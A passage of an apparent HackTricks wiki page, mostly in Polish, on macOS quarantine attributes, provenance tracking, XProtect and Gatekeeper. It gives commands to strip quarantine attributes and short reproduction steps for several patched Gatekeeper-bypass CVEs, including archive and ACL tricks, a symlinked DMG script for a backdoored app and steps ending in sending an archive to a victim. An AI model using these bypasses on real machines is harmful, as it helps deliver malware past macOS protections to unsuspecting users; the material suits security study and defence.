enum qtn_flags { QTN_FLAG_DOWNLOAD = 0x0001, QTN_FLAG_SANDBOX = 0x0002, QTN_FLAG_HARD = 0x0004, QTN_FLAG_USER_APPROVED = 0x0040, };

#define qtn_proc_alloc _qtn_proc_alloc #define qtn_proc_apply_to_self _qtn_proc_apply_to_self #define qtn_proc_free _qtn_proc_free #define qtn_proc_init _qtn_proc_init #define qtn_proc_init_with_self _qtn_proc_init_with_self #define qtn_proc_set_flags _qtn_proc_set_flags #define qtn_file_alloc _qtn_file_alloc #define qtn_file_init_with_path _qtn_file_init_with_path #define qtn_file_free _qtn_file_free #define qtn_file_apply_to_path _qtn_file_apply_to_path #define qtn_file_set_flags _qtn_file_set_flags #define qtn_file_get_flags _qtn_file_get_flags #define qtn_proc_set_identifier _qtn_proc_set_identifier

typedef struct _qtn_proc *qtn_proc_t; typedef struct _qtn_file *qtn_file_t;

int qtn_proc_apply_to_self(qtn_proc_t); void qtn_proc_init(qtn_proc_t); int qtn_proc_init_with_self(qtn_proc_t); int qtn_proc_set_flags(qtn_proc_t, uint32_t flags); qtn_proc_t qtn_proc_alloc(); void qtn_proc_free(qtn_proc_t); qtn_file_t qtn_file_alloc(void); void qtn_file_free(qtn_file_t qf); int qtn_file_set_flags(qtn_file_t qf, uint32_t flags); uint32_t qtn_file_get_flags(qtn_file_t qf); int qtn_file_apply_to_path(qtn_file_t qf, const char *path); int qtn_file_init_with_path(qtn_file_t qf, const char path); int qtn_proc_set_identifier(qtn_proc_t qp, const char bundleid);

int main() {

qtn_proc_t qp = qtn_proc_alloc(); qtn_proc_set_identifier(qp, “xyz.hacktricks.qa”); qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED); qtn_proc_apply_to_self(qp); qtn_proc_free(qp);

FILE *fp; fp = fopen(“thisisquarantined.txt”, “w+”); fprintf(fp, “Hello Quarantine\n”); fclose(fp);

return 0;

}

</details>

I **usuń** ten atrybut za pomocą:
```bash
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine

I znajdź wszystkie pliki w kwarantannie za pomocą:

find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"

Informacje o kwarantannie są również przechowywane w centralnej bazie danych zarządzanej przez LaunchServices w ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2, co pozwala GUI uzyskać dane o pochodzeniu pliku. Ponadto może to zostać nadpisane przez aplikacje, które mogą chcieć ukryć jego pochodzenie. Można to także zrobić z poziomu LaunchServices APIS.

libquarantine.dylib

Ta biblioteka eksportuje kilka funkcji, które pozwalają manipulować polami rozszerzonych atrybutów.

Interfejsy qtn_file_* dotyczą polityk kwarantanny plików, interfejsy qtn_proc_* stosowane są do procesów (plików utworzonych przez proces). Niewyeksportowane funkcje __qtn_syscall_quarantine* to te, które stosują polityki — wywołują mac_syscall z “Quarantine” jako pierwszym argumentem, co wysyła żądania do Quarantine.kext.

Quarantine.kext

Rozszerzenie jądra jest dostępne tylko przez kernel cache on the system; jednak możesz pobrać Kernel Debug Kit z https://developer.apple.com/, który będzie zawierał symbolikowaną wersję rozszerzenia.

Ten Kext hookuje przez MACF kilka wywołań, aby przechwycić wszystkie zdarzenia cyklu życia pliku: tworzenie, otwieranie, zmienianie nazwy, tworzenie twardych łączy… nawet setxattr, aby zapobiec ustawieniu rozszerzonego atrybutu com.apple.quarantine.

It also uses a couple of MIBs:

• security.mac.qtn.sandbox_enforce: Wymuszanie kwarantanny w ramach Sandbox
• security.mac.qtn.user_approved_exec: Procesy objęte kwarantanną mogą wykonywać tylko zatwierdzone pliki

Provenance xattr (Ventura i nowsze)

macOS 13 Ventura wprowadził osobny mechanizm provenance, który jest wypełniany przy pierwszym uruchomieniu aplikacji objętej kwarantanną. Tworzone są dwa artefakty:

• Atrybut xattr com.apple.provenance na katalogu pakietu .app (wartość binarna o stałym rozmiarze zawierająca klucz główny i flagi).
• Wiersz w tabeli provenance_tracking w bazie ExecPolicy w /var/db/SystemPolicyConfiguration/ExecPolicy/ przechowujący cdhash aplikacji i metadane.

Praktyczne zastosowanie:

# Inspect provenance xattr (if present)
xattr -p com.apple.provenance /Applications/Some.app | hexdump -C

# Observe Gatekeeper/provenance events in real time
log stream --style syslog --predicate 'process == "syspolicyd"'

# Retrieve historical Gatekeeper decisions for a specific bundle
log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventMessage CONTAINS[cd] "GK scan"'

XProtect

XProtect to wbudowana funkcja anti-malware w macOS. XProtect sprawdza każdą aplikację przy jej pierwszym uruchomieniu lub po modyfikacji względem swojej bazy znanych malware i niebezpiecznych typów plików. Gdy pobierasz plik za pomocą niektórych aplikacji, takich jak Safari, Mail czy Messages, XProtect automatycznie skanuje plik. Jeśli pasuje do któregoś wpisu znanych malware w bazie, XProtect zablokuje uruchomienie pliku i poinformuje Cię o zagrożeniu.

Baza XProtect jest regularnie aktualizowana przez Apple o nowe definicje malware, a te aktualizacje są automatycznie pobierane i instalowane na Twoim Macu. Dzięki temu XProtect jest zawsze aktualny względem najnowszych znanych zagrożeń.

Warto jednak zauważyć, że XProtect nie jest pełnoprawnym rozwiązaniem antywirusowym. Sprawdza tylko określoną listę znanych zagrożeń i nie wykonuje on-access scanning tak jak większość oprogramowania antywirusowego.

Możesz uzyskać informacje o najnowszej aktualizacji XProtect, uruchamiając:

system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5

XProtect znajduje się w chronionej przez SIP lokalizacji /Library/Apple/System/Library/CoreServices/XProtect.bundle i wewnątrz bundle możesz znaleźć informacje, których używa XProtect:

• XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist: Pozwala kodowi o tych cdhashach używać legacy entitlements.
• XProtect.bundle/Contents/Resources/XProtect.meta.plist: Lista pluginów i rozszerzeń, których ładowanie jest zabronione poprzez BundleID i TeamID lub wskazująca minimalną wersję.
• XProtect.bundle/Contents/Resources/XProtect.yara: Reguły Yara do wykrywania złośliwego oprogramowania.
• XProtect.bundle/Contents/Resources/gk.db: Baza SQLite3 z hashami zablokowanych aplikacji i TeamID.

Zwróć uwagę, że istnieje inna aplikacja w /Library/Apple/System/Library/CoreServices/XProtect.app powiązana z XProtect, która nie bierze udziału w procesie Gatekeeper.

XProtect Remediator: Na nowoczesnym macOS Apple dostarcza skanery na żądanie (XProtect Remediator), które uruchamiają się okresowo przez launchd, aby wykrywać i naprawiać rodziny złośliwego oprogramowania. Możesz obserwować te skany w unified logs:

log show --last 2h --predicate 'subsystem == "com.apple.XProtectFramework" || category CONTAINS "XProtect"' --style syslog

To nie Gatekeeper

Caution

Zauważ, że Gatekeeper nie jest uruchamiany za każdym razem gdy wykonujesz aplikację; tylko AppleMobileFileIntegrity (AMFI) będzie weryfikować podpisy kodu wykonywalnego gdy uruchamiasz aplikację, która została już wcześniej uruchomiona i zweryfikowana przez Gatekeeper.

W przeszłości było więc możliwe uruchomić aplikację, aby została zbuforowana przez Gatekeeper, a następnie modyfikować nie-wykonywalne pliki aplikacji (np. Electron asar lub pliki NIB) i jeśli nie było innych zabezpieczeń, aplikacja została by uruchomiona z złośliwymi dodatkami.

Jednak teraz nie jest to możliwe, ponieważ macOS uniemożliwia modyfikowanie plików wewnątrz bundle aplikacji. Zatem, jeśli spróbujesz ataku Dirty NIB, stwierdzisz, że nie da się go już nadużyć, ponieważ po uruchomieniu aplikacji w celu zbuforowania przez Gatekeeper, nie będziesz w stanie zmodyfikować bundle. A jeśli zmienisz np. nazwę katalogu Contents na NotCon (jak wskazano w exploicie), a następnie uruchomisz główny binarny plik aplikacji, aby zbuforować ją w Gatekeeperze, to wywoła błąd i nie uruchomi się.

Omijanie Gatekeepera

Każdy sposób na ominięcie Gatekeepera (sprawienie, by użytkownik pobrał coś i uruchomił to, gdy Gatekeeper powinien tego zabronić) jest traktowany jako luka w macOS. Oto kilka CVE przypisanych technikom, które w przeszłości pozwalały ominąć Gatekeeper:

CVE-2021-1810

Zaobserwowano, że jeśli do rozpakowania używany jest Archive Utility, pliki z ścieżkami przekraczającymi 886 znaków nie otrzymują rozszerzonego atrybutu com.apple.quarantine. Ta sytuacja przypadkowo pozwala tym plikom ominąć kontrole bezpieczeństwa Gatekeepera.

Check the original report for more information.

CVE-2021-30990

Gdy aplikacja jest tworzona za pomocą Automator, informacje o tym, co jest potrzebne do jej wykonania, znajdują się w application.app/Contents/document.wflow, a nie w wykonywalnym pliku. Wykonywalny plik to tylko ogólny binarny plik Automatora zwany Automator Application Stub.

W związku z tym można było sprawić, aby application.app/Contents/MacOS/Automator\ Application\ Stub wskazywał symbolicznym linkiem na inny Automator Application Stub w systemie, i wtedy wykonałoby to, co jest w document.wflow (twój skrypt) bez wywołania Gatekeepera, ponieważ rzeczywisty wykonywalny plik nie miał quarantine xattr.

Przykłowa oczekiwana lokalizacja: /System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub

Check the original report for more information.

CVE-2022-22616

W tym obejściu utworzono plik zip z aplikacją, zaczynając kompresję od application.app/Contents zamiast od application.app. W rezultacie atrybut quarantine został zastosowany do wszystkich plików z application.app/Contents, ale nie do application.app, którego sprawdzał Gatekeeper, więc Gatekeeper został ominięty, ponieważ gdy application.app był uruchamiany, nie miał atrybutu quarantine.

zip -r test.app/Contents test.zip

Sprawdź original report aby uzyskać więcej informacji.

CVE-2022-32910

Nawet jeśli komponenty są inne, eksploatacja tej podatności jest bardzo podobna do poprzedniej. W tym przypadku wygenerujemy Apple Archive z application.app/Contents, dzięki czemu application.app won’t get the quarantine attr kiedy zostanie zdekompresowany przez Archive Utility.

aa archive -d test.app/Contents -o test.app.aar

Sprawdź oryginalny raport aby uzyskać więcej informacji.

CVE-2022-42821

ACL writeextattr może zostać użyte do uniemożliwienia komukolwiek zapisania atrybutu w pliku:

touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
xattr -w attrname vale /tmp/no-attr
xattr: [Errno 13] Permission denied: '/tmp/no-attr'

Co więcej, format plików AppleDouble kopiuje plik wraz z jego ACEs.

W source code można zobaczyć, że tekstowa reprezentacja ACL przechowywana w xattr o nazwie com.apple.acl.text zostanie ustawiona jako ACL w rozpakowanym pliku. Więc jeśli skompresowałeś aplikację do pliku zip w formacie AppleDouble z ACL, które uniemożliwiają zapis innych xattr do niej… quarantine xattr nie został ustawiony w aplikacji:

chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
python3 -m http.server
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

Zapoznaj się z oryginalnym raportem aby uzyskać więcej informacji.

Należy zauważyć, że można to również wykorzystać za pomocą AppleArchives:

mkdir app
touch app/test
chmod +a "everyone deny write,writeattr,writeextattr" app/test
aa archive -d app -o test.aar

CVE-2023-27943

Odkryto, że Google Chrome wasn’t setting the quarantine attribute dla pobranych plików z powodu pewnych wewnętrznych problemów macOS.

CVE-2023-27951

Formaty plików AppleDouble przechowują atrybuty pliku w oddzielnym pliku zaczynającym się od ._, co ułatwia kopiowanie atrybutów plików pomiędzy komputerami macOS. Jednak zauważono, że po rozpakowaniu pliku AppleDouble plik zaczynający się od ._ wasn’t given the quarantine attribute.

mkdir test
echo a > test/a
echo b > test/b
echo ._a > test/._a
aa archive -d test/ -o test.aar

# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute

Możliwość utworzenia pliku, który nie miałby ustawionego atrybutu kwarantanny, sprawiała, że było możliwe bypass Gatekeeper. Trik polegał na utworzeniu aplikacji w pliku DMG przy użyciu konwencji nazewnictwa AppleDouble (rozpocząć ją od ._) i utworzeniu widocznego pliku jako sym link do tego ukrytego pliku bez atrybutu kwarantanny.
Gdy dmg file is executed, ponieważ nie ma atrybutu kwarantanny, to bypass Gatekeeper.

# Create an app bundle with the backdoor an call it app.app

echo "[+] creating disk image with app"
hdiutil create -srcfolder app.app app.dmg

echo "[+] creating directory and files"
mkdir
mkdir -p s/app
cp app.dmg s/app/._app.dmg
ln -s ._app.dmg s/app/app.dmg

echo "[+] compressing files"
aa archive -d s/ -o app.aar

[CVE-2023-41067]

Omijanie Gatekeepera naprawione w macOS Sonoma 14.0 pozwalało spreparowanym aplikacjom uruchamiać się bez wyświetlania monitu. Szczegóły zostały publicznie ujawnione po wydaniu poprawki, a luka była aktywnie wykorzystywana w środowisku przed naprawą. Upewnij się, że zainstalowany jest Sonoma 14.0 lub nowszy.

[CVE-2024-27853]

Omijanie Gatekeepera w macOS 14.4 (wydanym w marcu 2024) wynikające z obsługi przez libarchive złośliwych ZIP-ów pozwalało aplikacjom uniknąć oceny. Zaktualizuj do 14.4 lub nowszego, gdzie Apple zaadresowało problem.

CVE-2024-44128

An Automator Quick Action workflow osadzony w pobranej aplikacji mógł zostać uruchomiony bez oceny przez Gatekeeper, ponieważ workflowy były traktowane jako dane i wykonywane przez pomocnika Automator poza normalną ścieżką monitu o notarization. Spreparowane .app zawierające Quick Action uruchamiający skrypt powłoki (np. wewnątrz Contents/PlugIns/*.workflow/Contents/document.wflow) mogły zatem wykonać się natychmiast przy uruchomieniu. Apple dodało dodatkowy dialog zgody i naprawiło ścieżkę oceny w Ventura 13.7, Sonoma 14.7, i Sequoia 15.

Third‑party unarchivers mis‑propagating quarantine (2023–2024)

Kilka podatności w popularnych narzędziach do rozpakowywania (np. The Unarchiver) powodowało, że pliki wyodrębnione z archiwów traciły xattr com.apple.quarantine, co umożliwiało obejście Gatekeepera. Zawsze polegaj na macOS Archive Utility lub załatanych narzędziach podczas testów i weryfikuj xattry po rozpakowaniu.

uchg (from this talk)

• Utwórz katalog zawierający aplikację.
• Dodaj uchg do aplikacji.
• Skompresuj aplikację do pliku tar.gz.
• Wyślij plik tar.gz do ofiary.
• Ofiara otwiera plik tar.gz i uruchamia aplikację.
• Gatekeeper nie sprawdza aplikacji.

Prevent Quarantine xattr

W bundlu “.app”, jeśli atrybut quarantine (xattr) nie zostanie do niego dodany, przy uruchomieniu Gatekeeper nie zostanie wywołany.

References

• Apple Platform Security: About the security content of macOS Sonoma 14.4 (includes CVE-2024-27853) – https://support.apple.com/en-us/HT214084
• Eclectic Light: How macOS now tracks the provenance of apps – https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/
• Apple: About the security content of macOS Sonoma 14.7 / Ventura 13.7 (CVE-2024-44128) – https://support.apple.com/en-us/121234
• MacRumors: macOS 15 Sequoia removes the Control‑click “Open” Gatekeeper bypass – https://www.macrumors.com/2024/06/11/macos-sequoia-removes-open-anyway/

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

• Sprawdź plany subskrypcyjne!
• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
• Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.